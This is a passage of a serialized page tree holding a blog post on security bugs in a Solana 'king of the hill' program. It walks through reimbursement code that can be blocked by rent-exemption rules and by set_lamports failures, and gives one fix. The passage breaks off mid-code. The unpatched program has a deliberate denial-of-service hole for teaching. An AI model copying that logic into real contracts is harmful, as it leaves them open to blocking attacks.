king\n",{"type":26,"tag":475,"props":71524,"children":71525},{"class":477,"line":1077},[71526,71530,71535,71539,71543,71547,71551,71555,71559,71563,71567,71571,71575,71580,71584,71588,71593],{"type":26,"tag":475,"props":71527,"children":71528},{"style":482},[71529],{"type":32,"value":2770},{"type":26,"tag":475,"props":71531,"children":71532},{"style":2375},[71533],{"type":32,"value":71534}," to_reimburse",{"type":26,"tag":475,"props":71536,"children":71537},{"style":714},[71538],{"type":32,"value":2383},{"type":26,"tag":475,"props":71540,"children":71541},{"style":499},[71542],{"type":32,"value":2775},{"type":26,"tag":475,"props":71544,"children":71545},{"style":2375},[71546],{"type":32,"value":19988},{"type":26,"tag":475,"props":71548,"children":71549},{"style":714},[71550],{"type":32,"value":353},{"type":26,"tag":475,"props":71552,"children":71553},{"style":499},[71554],{"type":32,"value":14382},{"type":26,"tag":475,"props":71556,"children":71557},{"style":714},[71558],{"type":32,"value":353},{"type":26,"tag":475,"props":71560,"children":71561},{"style":499},[71562],{"type":32,"value":71378},{"type":26,"tag":475,"props":71564,"children":71565},{"style":714},[71566],{"type":32,"value":353},{"type":26,"tag":475,"props":71568,"children":71569},{"style":499},[71570],{"type":32,"value":71387},{"type":26,"tag":475,"props":71572,"children":71573},{"style":714},[71574],{"type":32,"value":4282},{"type":26,"tag":475,"props":71576,"children":71577},{"style":903},[71578],{"type":32,"value":71579}," 9500",{"type":26,"tag":475,"props":71581,"children":71582},{"style":499},[71583],{"type":32,"value":2794},{"type":26,"tag":475,"props":71585,"children":71586},{"style":714},[71587],{"type":32,"value":4292},{"type":26,"tag":475,"props":71589,"children":71590},{"style":903},[71591],{"type":32,"value":71592}," 10000",{"type":26,"tag":475,"props":71594,"children":71595},{"style":499},[71596],{"type":32,"value":2729},{"type":26,"tag":475,"props":71598,"children":71599},{"class":477,"line":1090},[71600,71605],{"type":26,"tag":475,"props":71601,"children":71602},{"style":493},[71603],{"type":32,"value":71604}," transfer_from_pda",{"type":26,"tag":475,"props":71606,"children":71607},{"style":499},[71608],{"type":32,"value":3169},{"type":26,"tag":475,"props":71610,"children":71611},{"class":477,"line":1119},[71612,71616,71620,71624,71628,71632,71636,71640,71644],{"type":26,"tag":475,"props":71613,"children":71614},{"style":714},[71615],{"type":32,"value":7397},{"type":26,"tag":475,"props":71617,"children":71618},{"style":2375},[71619],{"type":32,"value":19988},{"type":26,"tag":475,"props":71621,"children":71622},{"style":714},[71623],{"type":32,"value":353},{"type":26,"tag":475,"props":71625,"children":71626},{"style":499},[71627],{"type":32,"value":14382},{"type":26,"tag":475,"props":71629,"children":71630},{"style":714},[71631],{"type":32,"value":353},{"type":26,"tag":475,"props":71633,"children":71634},{"style":499},[71635],{"type":32,"value":71378},{"type":26,"tag":475,"props":71637,"children":71638},{"style":714},[71639],{"type":32,"value":353},{"type":26,"tag":475,"props":71641,"children":71642},{"style":493},[71643],{"type":32,"value":71475},{"type":26,"tag":475,"props":71645,"children":71646},{"style":499},[71647],{"type":32,"value":3197},{"type":26,"tag":475,"props":71649,"children":71650},{"class":477,"line":1132},[71651,71655,71659,71663,71667,71671],{"type":26,"tag":475,"props":71652,"children":71653},{"style":714},[71654],{"type":32,"value":7397},{"type":26,"tag":475,"props":71656,"children":71657},{"style":2375},[71658],{"type":32,"value":19988},{"type":26,"tag":475,"props":71660,"children":71661},{"style":714},[71662],{"type":32,"value":353},{"type":26,"tag":475,"props":71664,"children":71665},{"style":499},[71666],{"type":32,"value":14382},{"type":26,"tag":475,"props":71668,"children":71669},{"style":714},[71670],{"type":32,"value":353},{"type":26,"tag":475,"props":71672,"children":71673},{"style":499},[71674],{"type":32,"value":71675},"old_king,\n",{"type":26,"tag":475,"props":71677,"children":71678},{"class":477,"line":1146},[71679,71684],{"type":26,"tag":475,"props":71680,"children":71681},{"style":2375},[71682],{"type":32,"value":71683}," to_reimburse",{"type":26,"tag":475,"props":71685,"children":71686},{"style":499},[71687],{"type":32,"value":2425},{"type":26,"tag":475,"props":71689,"children":71690},{"class":477,"line":1155},[71691,71695,71699],{"type":26,"tag":475,"props":71692,"children":71693},{"style":499},[71694],{"type":32,"value":71499},{"type":26,"tag":475,"props":71696,"children":71697},{"style":714},[71698],{"type":32,"value":2863},{"type":26,"tag":475,"props":71700,"children":71701},{"style":499},[71702],{"type":32,"value":2729},{"type":26,"tag":475,"props":71704,"children":71705},{"class":477,"line":1163},[71706],{"type":26,"tag":475,"props":71707,"children":71708},{"emptyLinePlaceholder":18},[71709],{"type":32,"value":545},{"type":26,"tag":475,"props":71711,"children":71712},{"class":477,"line":1172},[71713],{"type":26,"tag":475,"props":71714,"children":71715},{"style":552},[71716],{"type":32,"value":71717}," // Set new king\n",{"type":26,"tag":475,"props":71719,"children":71720},{"class":477,"line":1181},[71721,71725,71729,71733,71737,71741,71745,71750,71754,71758,71762,71766,71770,71775,71779,71784],{"type":26,"tag":475,"props":71722,"children":71723},{"style":2375},[71724],{"type":32,"value":25887},{"type":26,"tag":475,"props":71726,"children":71727},{"style":714},[71728],{"type":32,"value":353},{"type":26,"tag":475,"props":71730,"children":71731},{"style":499},[71732],{"type":32,"value":14382},{"type":26,"tag":475,"props":71734,"children":71735},{"style":714},[71736],{"type":32,"value":353},{"type":26,"tag":475,"props":71738,"children":71739},{"style":499},[71740],{"type":32,"value":71378},{"type":26,"tag":475,"props":71742,"children":71743},{"style":714},[71744],{"type":32,"value":353},{"type":26,"tag":475,"props":71746,"children":71747},{"style":499},[71748],{"type":32,"value":71749},"king ",{"type":26,"tag":475,"props":71751,"children":71752},{"style":714},[71753],{"type":32,"value":786},{"type":26,"tag":475,"props":71755,"children":71756},{"style":2375},[71757],{"type":32,"value":25544},{"type":26,"tag":475,"props":71759,"children":71760},{"style":714},[71761],{"type":32,"value":353},{"type":26,"tag":475,"props":71763,"children":71764},{"style":499},[71765],{"type":32,"value":14382},{"type":26,"tag":475,"props":71767,"children":71768},{"style":714},[71769],{"type":32,"value":353},{"type":26,"tag":475,"props":71771,"children":71772},{"style":499},[71773],{"type":32,"value":71774},"new_king",{"type":26,"tag":475,"props":71776,"children":71777},{"style":714},[71778],{"type":32,"value":353},{"type":26,"tag":475,"props":71780,"children":71781},{"style":493},[71782],{"type":32,"value":71783},"key",{"type":26,"tag":475,"props":71785,"children":71786},{"style":499},[71787],{"type":32,"value":3376},{"type":26,"tag":475,"props":71789,"children":71790},{"class":477,"line":1189},[71791,71795,71799,71803,71807,71811,71815,71819,71823,71828],{"type":26,"tag":475,"props":71792,"children":71793},{"style":2375},[71794],{"type":32,"value":25887},{"type":26,"tag":475,"props":71796,"children":71797},{"style":714},[71798],{"type":32,"value":353},{"type":26,"tag":475,"props":71800,"children":71801},{"style":499},[71802],{"type":32,"value":14382},{"type":26,"tag":475,"props":71804,"children":71805},{"style":714},[71806],{"type":32,"value":353},{"type":26,"tag":475,"props":71808,"children":71809},{"style":499},[71810],{"type":32,"value":71378},{"type":26,"tag":475,"props":71812,"children":71813},{"style":714},[71814],{"type":32,"value":353},{"type":26,"tag":475,"props":71816,"children":71817},{"style":499},[71818],{"type":32,"value":71387},{"type":26,"tag":475,"props":71820,"children":71821},{"style":714},[71822],{"type":32,"value":786},{"type":26,"tag":475,"props":71824,"children":71825},{"style":2375},[71826],{"type":32,"value":71827}," bid_amount",{"type":26,"tag":475,"props":71829,"children":71830},{"style":499},[71831],{"type":32,"value":2729},{"type":26,"tag":475,"props":71833,"children":71834},{"class":477,"line":1221},[71835,71839,71843,71847,71851,71855,71859,71864,71868,71873,71877,71881,71885,71889,71894,71898,71902],{"type":26,"tag":475,"props":71836,"children":71837},{"style":2375},[71838],{"type":32,"value":25887},{"type":26,"tag":475,"props":71840,"children":71841},{"style":714},[71842],{"type":32,"value":353},{"type":26,"tag":475,"props":71844,"children":71845},{"style":499},[71846],{"type":32,"value":14382},{"type":26,"tag":475,"props":71848,"children":71849},{"style":714},[71850],{"type":32,"value":353},{"type":26,"tag":475,"props":71852,"children":71853},{"style":499},[71854],{"type":32,"value":71378},{"type":26,"tag":475,"props":71856,"children":71857},{"style":714},[71858],{"type":32,"value":353},{"type":26,"tag":475,"props":71860,"children":71861},{"style":499},[71862],{"type":32,"value":71863},"last_time ",{"type":26,"tag":475,"props":71865,"children":71866},{"style":714},[71867],{"type":32,"value":786},{"type":26,"tag":475,"props":71869,"children":71870},{"style":505},[71871],{"type":32,"value":71872}," Clock",{"type":26,"tag":475,"props":71874,"children":71875},{"style":714},[71876],{"type":32,"value":3187},{"type":26,"tag":475,"props":71878,"children":71879},{"style":493},[71880],{"type":32,"value":16057},{"type":26,"tag":475,"props":71882,"children":71883},{"style":499},[71884],{"type":32,"value":13586},{"type":26,"tag":475,"props":71886,"children":71887},{"style":714},[71888],{"type":32,"value":2840},{"type":26,"tag":475,"props":71890,"children":71891},{"style":499},[71892],{"type":32,"value":71893},"unix_timestamp ",{"type":26,"tag":475,"props":71895,"children":71896},{"style":482},[71897],{"type":32,"value":8553},{"type":26,"tag":475,"props":71899,"children":71900},{"style":505},[71901],{"type":32,"value":5573},{"type":26,"tag":475,"props":71903,"children":71904},{"style":499},[71905],{"type":32,"value":2729},{"type":26,"tag":475,"props":71907,"children":71908},{"class":477,"line":1848},[71909],{"type":26,"tag":475,"props":71910,"children":71911},{"emptyLinePlaceholder":18},[71912],{"type":32,"value":545},{"type":26,"tag":475,"props":71914,"children":71915},{"class":477,"line":1857},[71916,71920],{"type":26,"tag":475,"props":71917,"children":71918},{"style":505},[71919],{"type":32,"value":14518},{"type":26,"tag":475,"props":71921,"children":71922},{"style":499},[71923],{"type":32,"value":14045},{"type":26,"tag":475,"props":71925,"children":71926},{"class":477,"line":1866},[71927],{"type":26,"tag":475,"props":71928,"children":71929},{"style":499},[71930],{"type":32,"value":851},{"type":26,"tag":475,"props":71932,"children":71933},{"class":477,"line":1875},[71934],{"type":26,"tag":475,"props":71935,"children":71936},{"style":499},[71937],{"type":32,"value":3607},{"type":26,"tag":35,"props":71939,"children":71940},{},[71941],{"type":32,"value":71942},"Note this comment:",{"type":26,"tag":2637,"props":71944,"children":71945},{},[71946],{"type":26,"tag":35,"props":71947,"children":71948},{},[71949],{"type":32,"value":71950},"any writable account is allowed as a new king.",{"type":26,"tag":35,"props":71952,"children":71953},{},[71954],{"type":32,"value":71955},"...Is our assumption correct?",{"type":26,"tag":27,"props":71957,"children":71959},{"id":71958},"the-bugs-lurking-beneath",[71960],{"type":32,"value":71961},"The Bugs Lurking Beneath",{"type":26,"tag":41,"props":71963,"children":71965},{"id":71964},"bug-1-the-rent-exemption-trap",[71966],{"type":32,"value":71967},"Bug 1: The Rent-Exemption Trap",{"type":26,"tag":35,"props":71969,"children":71970},{},[71971,71973,71978],{"type":32,"value":71972},"On Solana, all accounts must maintain a ",{"type":26,"tag":105,"props":71974,"children":71975},{},[71976],{"type":32,"value":71977},"minimum balance",{"type":32,"value":71979}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":26,"tag":82,"props":71981,"children":71982},{},[71983,71998],{"type":26,"tag":86,"props":71984,"children":71985},{},[71986,71991,71992],{"type":26,"tag":105,"props":71987,"children":71988},{},[71989],{"type":32,"value":71990},"Uninitialized",{"type":32,"value":15037},{"type":26,"tag":53,"props":71993,"children":71995},{"className":71994},[],[71996],{"type":32,"value":71997},"lamports = 0",{"type":26,"tag":86,"props":71999,"children":72000},{},[72001,72006,72007],{"type":26,"tag":105,"props":72002,"children":72003},{},[72004],{"type":32,"value":72005},"Initialized",{"type":32,"value":15037},{"type":26,"tag":53,"props":72008,"children":72010},{"className":72009},[],[72011],{"type":32,"value":72012},"lamports >= rent-exempt threshold",{"type":26,"tag":35,"props":72014,"children":72015},{},[72016,72018,72023],{"type":32,"value":72017},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":26,"tag":105,"props":72019,"children":72020},{},[72021],{"type":32,"value":72022},"account metadata",{"type":32,"value":72024}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":26,"tag":35,"props":72026,"children":72027},{},[72028,72030,72036],{"type":32,"value":72029},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":26,"tag":53,"props":72031,"children":72033},{"className":72032},[],[72034],{"type":32,"value":72035},"data.len() == 0",{"type":32,"value":72037}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":26,"tag":35,"props":72039,"children":72040},{},[72041,72043,72049],{"type":32,"value":72042},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":26,"tag":116,"props":72044,"children":72047},{"href":72045,"rel":72046},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[120],[72048],{"type":32,"value":47278},{"type":32,"value":353},{"type":26,"tag":465,"props":72051,"children":72053},{"className":2685,"code":72052,"language":2684,"meta":7,"style":7}," fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n match post_rent_state {\n RentState::Uninitialized | RentState::RentExempt => true,\n RentState::RentPaying {\n data_size: post_data_size,\n lamports: post_lamports,\n } => {\n match pre_rent_state {\n RentState::Uninitialized | RentState::RentExempt => false,\n RentState::RentPaying {\n data_size: pre_data_size,\n lamports: pre_lamports,\n } => {\n // Cannot remain RentPaying if resized or credited.\n post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n }\n }\n }\n }\n }\n",[72054],{"type":26,"tag":53,"props":72055,"children":72056},{"__ignoreMap":7},[72057,72141,72158,72204,72224,72245,72266,72281,72298,72342,72361,72382,72403,72419,72427,72460,72467,72474,72481,72488],{"type":26,"tag":475,"props":72058,"children":72059},{"class":477,"line":478},[72060,72065,72070,72074,72078,72082,72086,72091,72095,72099,72104,72108,72113,72117,72121,72125,72129,72133,72137],{"type":26,"tag":475,"props":72061,"children":72062},{"style":482},[72063],{"type":32,"value":72064}," fn",{"type":26,"tag":475,"props":72066,"children":72067},{"style":493},[72068],{"type":32,"value":72069}," transition_allowed",{"type":26,"tag":475,"props":72071,"children":72072},{"style":499},[72073],{"type":32,"value":626},{"type":26,"tag":475,"props":72075,"children":72076},{"style":714},[72077],{"type":32,"value":2816},{"type":26,"tag":475,"props":72079,"children":72080},{"style":482},[72081],{"type":32,"value":13420},{"type":26,"tag":475,"props":72083,"children":72084},{"style":499},[72085],{"type":32,"value":637},{"type":26,"tag":475,"props":72087,"children":72088},{"style":2375},[72089],{"type":32,"value":72090},"pre_rent_state",{"type":26,"tag":475,"props":72092,"children":72093},{"style":714},[72094],{"type":32,"value":179},{"type":26,"tag":475,"props":72096,"children":72097},{"style":714},[72098],{"type":32,"value":6854},{"type":26,"tag":475,"props":72100,"children":72101},{"style":505},[72102],{"type":32,"value":72103},"RentState",{"type":26,"tag":475,"props":72105,"children":72106},{"style":499},[72107],{"type":32,"value":637},{"type":26,"tag":475,"props":72109,"children":72110},{"style":2375},[72111],{"type":32,"value":72112},"post_rent_state",{"type":26,"tag":475,"props":72114,"children":72115},{"style":714},[72116],{"type":32,"value":179},{"type":26,"tag":475,"props":72118,"children":72119},{"style":714},[72120],{"type":32,"value":6854},{"type":26,"tag":475,"props":72122,"children":72123},{"style":505},[72124],{"type":32,"value":72103},{"type":26,"tag":475,"props":72126,"children":72127},{"style":499},[72128],{"type":32,"value":2794},{"type":26,"tag":475,"props":72130,"children":72131},{"style":714},[72132],{"type":32,"value":13464},{"type":26,"tag":475,"props":72134,"children":72135},{"style":505},[72136],{"type":32,"value":11759},{"type":26,"tag":475,"props":72138,"children":72139},{"style":499},[72140],{"type":32,"value":579},{"type":26,"tag":475,"props":72142,"children":72143},{"class":477,"line":516},[72144,72149,72154],{"type":26,"tag":475,"props":72145,"children":72146},{"style":586},[72147],{"type":32,"value":72148}," match",{"type":26,"tag":475,"props":72150,"children":72151},{"style":2375},[72152],{"type":32,"value":72153}," post_rent_state",{"type":26,"tag":475,"props":72155,"children":72156},{"style":499},[72157],{"type":32,"value":579},{"type":26,"tag":475,"props":72159,"children":72160},{"class":477,"line":539},[72161,72166,72170,72174,72178,72183,72187,72192,72196,72200],{"type":26,"tag":475,"props":72162,"children":72163},{"style":505},[72164],{"type":32,"value":72165}," RentState",{"type":26,"tag":475,"props":72167,"children":72168},{"style":714},[72169],{"type":32,"value":3187},{"type":26,"tag":475,"props":72171,"children":72172},{"style":505},[72173],{"type":32,"value":71990},{"type":26,"tag":475,"props":72175,"children":72176},{"style":714},[72177],{"type":32,"value":3981},{"type":26,"tag":475,"props":72179,"children":72180},{"style":505},[72181],{"type":32,"value":72182}," RentState",{"type":26,"tag":475,"props":72184,"children":72185},{"style":714},[72186],{"type":32,"value":3187},{"type":26,"tag":475,"props":72188,"children":72189},{"style":505},[72190],{"type":32,"value":72191},"RentExempt",{"type":26,"tag":475,"props":72193,"children":72194},{"style":714},[72195],{"type":32,"value":27454},{"type":26,"tag":475,"props":72197,"children":72198},{"style":482},[72199],{"type":32,"value":1214},{"type":26,"tag":475,"props":72201,"children":72202},{"style":499},[72203],{"type":32,"value":2425},{"type":26,"tag":475,"props":72205,"children":72206},{"class":477,"line":548},[72207,72211,72215,72220],{"type":26,"tag":475,"props":72208,"children":72209},{"style":505},[72210],{"type":32,"value":72165},{"type":26,"tag":475,"props":72212,"children":72213},{"style":714},[72214],{"type":32,"value":3187},{"type":26,"tag":475,"props":72216,"children":72217},{"style":505},[72218],{"type":32,"value":72219},"RentPaying",{"type":26,"tag":475,"props":72221,"children":72222},{"style":499},[72223],{"type":32,"value":579},{"type":26,"tag":475,"props":72225,"children":72226},{"class":477,"line":558},[72227,72232,72236,72241],{"type":26,"tag":475,"props":72228,"children":72229},{"style":2375},[72230],{"type":32,"value":72231}," data_size",{"type":26,"tag":475,"props":72233,"children":72234},{"style":714},[72235],{"type":32,"value":179},{"type":26,"tag":475,"props":72237,"children":72238},{"style":2375},[72239],{"type":32,"value":72240}," post_data_size",{"type":26,"tag":475,"props":72242,"children":72243},{"style":499},[72244],{"type":32,"value":2425},{"type":26,"tag":475,"props":72246,"children":72247},{"class":477,"line":582},[72248,72253,72257,72262],{"type":26,"tag":475,"props":72249,"children":72250},{"style":2375},[72251],{"type":32,"value":72252}," lamports",{"type":26,"tag":475,"props":72254,"children":72255},{"style":714},[72256],{"type":32,"value":179},{"type":26,"tag":475,"props":72258,"children":72259},{"style":2375},[72260],{"type":32,"value":72261}," post_lamports",{"type":26,"tag":475,"props":72263,"children":72264},{"style":499},[72265],{"type":32,"value":2425},{"type":26,"tag":475,"props":72267,"children":72268},{"class":477,"line":596},[72269,72273,72277],{"type":26,"tag":475,"props":72270,"children":72271},{"style":499},[72272],{"type":32,"value":656},{"type":26,"tag":475,"props":72274,"children":72275},{"style":714},[72276],{"type":32,"value":2360},{"type":26,"tag":475,"props":72278,"children":72279},{"style":499},[72280],{"type":32,"value":579},{"type":26,"tag":475,"props":72282,"children":72283},{"class":477,"line":610},[72284,72289,72294],{"type":26,"tag":475,"props":72285,"children":72286},{"style":586},[72287],{"type":32,"value":72288}," match",{"type":26,"tag":475,"props":72290,"children":72291},{"style":2375},[72292],{"type":32,"value":72293}," pre_rent_state",{"type":26,"tag":475,"props":72295,"children":72296},{"style":499},[72297],{"type":32,"value":579},{"type":26,"tag":475,"props":72299,"children":72300},{"class":477,"line":650},[72301,72306,72310,72314,72318,72322,72326,72330,72334,72338],{"type":26,"tag":475,"props":72302,"children":72303},{"style":505},[72304],{"type":32,"value":72305}," RentState",{"type":26,"tag":475,"props":72307,"children":72308},{"style":714},[72309],{"type":32,"value":3187},{"type":26,"tag":475,"props":72311,"children":72312},{"style":505},[72313],{"type":32,"value":71990},{"type":26,"tag":475,"props":72315,"children":72316},{"style":714},[72317],{"type":32,"value":3981},{"type":26,"tag":475,"props":72319,"children":72320},{"style":505},[72321],{"type":32,"value":72182},{"type":26,"tag":475,"props":72323,"children":72324},{"style":714},[72325],{"type":32,"value":3187},{"type":26,"tag":475,"props":72327,"children":72328},{"style":505},[72329],{"type":32,"value":72191},{"type":26,"tag":475,"props":72331,"children":72332},{"style":714},[72333],{"type":32,"value":27454},{"type":26,"tag":475,"props":72335,"children":72336},{"style":482},[72337],{"type":32,"value":8769},{"type":26,"tag":475,"props":72339,"children":72340},{"style":499},[72341],{"type":32,"value":2425},{"type":26,"tag":475,"props":72343,"children":72344},{"class":477,"line":679},[72345,72349,72353,72357],{"type":26,"tag":475,"props":72346,"children":72347},{"style":505},[72348],{"type":32,"value":72305},{"type":26,"tag":475,"props":72350,"children":72351},{"style":714},[72352],{"type":32,"value":3187},{"type":26,"tag":475,"props":72354,"children":72355},{"style":505},[72356],{"type":32,"value":72219},{"type":26,"tag":475,"props":72358,"children":72359},{"style":499},[72360],{"type":32,"value":579},{"type":26,"tag":475,"props":72362,"children":72363},{"class":477,"line":735},[72364,72369,72373,72378],{"type":26,"tag":475,"props":72365,"children":72366},{"style":2375},[72367],{"type":32,"value":72368}," data_size",{"type":26,"tag":475,"props":72370,"children":72371},{"style":714},[72372],{"type":32,"value":179},{"type":26,"tag":475,"props":72374,"children":72375},{"style":2375},[72376],{"type":32,"value":72377}," pre_data_size",{"type":26,"tag":475,"props":72379,"children":72380},{"style":499},[72381],{"type":32,"value":2425},{"type":26,"tag":475,"props":72383,"children":72384},{"class":477,"line":744},[72385,72390,72394,72399],{"type":26,"tag":475,"props":72386,"children":72387},{"style":2375},[72388],{"type":32,"value":72389}," lamports",{"type":26,"tag":475,"props":72391,"children":72392},{"style":714},[72393],{"type":32,"value":179},{"type":26,"tag":475,"props":72395,"children":72396},{"style":2375},[72397],{"type":32,"value":72398}," pre_lamports",{"type":26,"tag":475,"props":72400,"children":72401},{"style":499},[72402],{"type":32,"value":2425},{"type":26,"tag":475,"props":72404,"children":72405},{"class":477,"line":753},[72406,72411,72415],{"type":26,"tag":475,"props":72407,"children":72408},{"style":499},[72409],{"type":32,"value":72410}," } ",{"type":26,"tag":475,"props":72412,"children":72413},{"style":714},[72414],{"type":32,"value":2360},{"type":26,"tag":475,"props":72416,"children":72417},{"style":499},[72418],{"type":32,"value":579},{"type":26,"tag":475,"props":72420,"children":72421},{"class":477,"line":761},[72422],{"type":26,"tag":475,"props":72423,"children":72424},{"style":552},[72425],{"type":32,"value":72426}," // Cannot remain RentPaying if resized or credited.\n",{"type":26,"tag":475,"props":72428,"children":72429},{"class":477,"line":770},[72430,72435,72439,72443,72447,72451,72455],{"type":26,"tag":475,"props":72431,"children":72432},{"style":2375},[72433],{"type":32,"value":72434}," post_data_size",{"type":26,"tag":475,"props":72436,"children":72437},{"style":714},[72438],{"type":32,"value":2990},{"type":26,"tag":475,"props":72440,"children":72441},{"style":2375},[72442],{"type":32,"value":72377},{"type":26,"tag":475,"props":72444,"children":72445},{"style":714},[72446],{"type":32,"value":13892},{"type":26,"tag":475,"props":72448,"children":72449},{"style":2375},[72450],{"type":32,"value":72261},{"type":26,"tag":475,"props":72452,"children":72453},{"style":714},[72454],{"type":32,"value":7908},{"type":26,"tag":475,"props":72456,"children":72457},{"style":2375},[72458],{"type":32,"value":72459}," pre_lamports\n",{"type":26,"tag":475,"props":72461,"children":72462},{"class":477,"line":794},[72463],{"type":26,"tag":475,"props":72464,"children":72465},{"style":499},[72466],{"type":32,"value":1169},{"type":26,"tag":475,"props":72468,"children":72469},{"class":477,"line":831},[72470],{"type":26,"tag":475,"props":72471,"children":72472},{"style":499},[72473],{"type":32,"value":1178},{"type":26,"tag":475,"props":72475,"children":72476},{"class":477,"line":845},[72477],{"type":26,"tag":475,"props":72478,"children":72479},{"style":499},[72480],{"type":32,"value":741},{"type":26,"tag":475,"props":72482,"children":72483},{"class":477,"line":854},[72484],{"type":26,"tag":475,"props":72485,"children":72486},{"style":499},[72487],{"type":32,"value":750},{"type":26,"tag":475,"props":72489,"children":72490},{"class":477,"line":862},[72491],{"type":26,"tag":475,"props":72492,"children":72493},{"style":499},[72494],{"type":32,"value":851},{"type":26,"tag":35,"props":72496,"children":72497},{},[72498],{"type":32,"value":72499},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":26,"tag":465,"props":72501,"children":72503},{"className":3955,"code":72502,"language":3954,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[72504],{"type":26,"tag":53,"props":72505,"children":72506},{"__ignoreMap":7},[72507,72523],{"type":26,"tag":475,"props":72508,"children":72509},{"class":477,"line":478},[72510,72514,72519],{"type":26,"tag":475,"props":72511,"children":72512},{"style":493},[72513],{"type":32,"value":2583},{"type":26,"tag":475,"props":72515,"children":72516},{"style":629},[72517],{"type":32,"value":72518}," rent",{"type":26,"tag":475,"props":72520,"children":72521},{"style":903},[72522],{"type":32,"value":23979},{"type":26,"tag":475,"props":72524,"children":72525},{"class":477,"line":516},[72526,72531,72536,72541],{"type":26,"tag":475,"props":72527,"children":72528},{"style":493},[72529],{"type":32,"value":72530},"Rent-exempt",{"type":26,"tag":475,"props":72532,"children":72533},{"style":629},[72534],{"type":32,"value":72535}," minimum:",{"type":26,"tag":475,"props":72537,"children":72538},{"style":903},[72539],{"type":32,"value":72540}," 0.00089088",{"type":26,"tag":475,"props":72542,"children":72543},{"style":629},[72544],{"type":32,"value":72545}," SOL\n",{"type":26,"tag":70,"props":72547,"children":72549},{"id":72548},"fix-1-only-reimburse-if-rent-exempt",[72550],{"type":32,"value":72551},"Fix 1: Only Reimburse if Rent-Exempt",{"type":26,"tag":35,"props":72553,"children":72554},{},[72555],{"type":32,"value":72556},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":26,"tag":465,"props":72558,"children":72560},{"className":40048,"code":72559,"language":40050,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n+}\n",[72561],{"type":26,"tag":53,"props":72562,"children":72563},{"__ignoreMap":7},[72564,72572,72580,72588,72596,72604,72612,72620,72628,72636],{"type":26,"tag":475,"props":72565,"children":72566},{"class":477,"line":478},[72567],{"type":26,"tag":475,"props":72568,"children":72569},{"style":499},[72570],{"type":32,"value":72571},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":26,"tag":475,"props":72573,"children":72574},{"class":477,"line":516},[72575],{"type":26,"tag":475,"props":72576,"children":72577},{"style":903},[72578],{"type":32,"value":72579},"+let rent = Rent::get()?;\n",{"type":26,"tag":475,"props":72581,"children":72582},{"class":477,"line":539},[72583],{"type":26,"tag":475,"props":72584,"children":72585},{"style":903},[72586],{"type":32,"value":72587},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":26,"tag":475,"props":72589,"children":72590},{"class":477,"line":548},[72591],{"type":26,"tag":475,"props":72592,"children":72593},{"style":903},[72594],{"type":32,"value":72595},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":26,"tag":475,"props":72597,"children":72598},{"class":477,"line":558},[72599],{"type":26,"tag":475,"props":72600,"children":72601},{"style":499},[72602],{"type":32,"value":72603}," transfer_from_pda(\n",{"type":26,"tag":475,"props":72605,"children":72606},{"class":477,"line":582},[72607],{"type":26,"tag":475,"props":72608,"children":72609},{"style":499},[72610],{"type":32,"value":72611}," &ctx.accounts.throne.to_account_info(),\n",{"type":26,"tag":475,"props":72613,"children":72614},{"class":477,"line":596},[72615],{"type":26,"tag":475,"props":72616,"children":72617},{"style":499},[72618],{"type":32,"value":72619}," &ctx.accounts.old_king,\n",{"type":26,"tag":475,"props":72621,"children":72622},{"class":477,"line":610},[72623],{"type":26,"tag":475,"props":72624,"children":72625},{"style":499},[72626],{"type":32,"value":72627}," to_reimburse,\n",{"type":26,"tag":475,"props":72629,"children":72630},{"class":477,"line":650},[72631],{"type":26,"tag":475,"props":72632,"children":72633},{"style":499},[72634],{"type":32,"value":72635}," )?;\n",{"type":26,"tag":475,"props":72637,"children":72638},{"class":477,"line":679},[72639],{"type":26,"tag":475,"props":72640,"children":72641},{"style":903},[72642],{"type":32,"value":72643},"+}\n",{"type":26,"tag":35,"props":72645,"children":72646},{},[72647],{"type":32,"value":72648},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":26,"tag":41,"props":72650,"children":72652},{"id":72651},"bug-2-writable-but-untouchable-set_lamports-fails",[72653,72655,72661],{"type":32,"value":72654},"Bug 2: Writable but Untouchable — ",{"type":26,"tag":53,"props":72656,"children":72658},{"className":72657},[],[72659],{"type":32,"value":72660},"set_lamports",{"type":32,"value":72662}," Fails",{"type":26,"tag":35,"props":72664,"children":72665},{},[72666,72668,72675],{"type":32,"value":72667},"Let's look at ",{"type":26,"tag":116,"props":72669,"children":72672},{"href":72670,"rel":72671},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[120],[72673],{"type":32,"value":72674},"BorrowedAccount::set_lamports",{"type":32,"value":353},{"type":26,"tag":465,"props":72677,"children":72679},{"className":2685,"code":72678,"language":2684,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n // An account not owned by the program cannot have its balance decrease\n if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n return 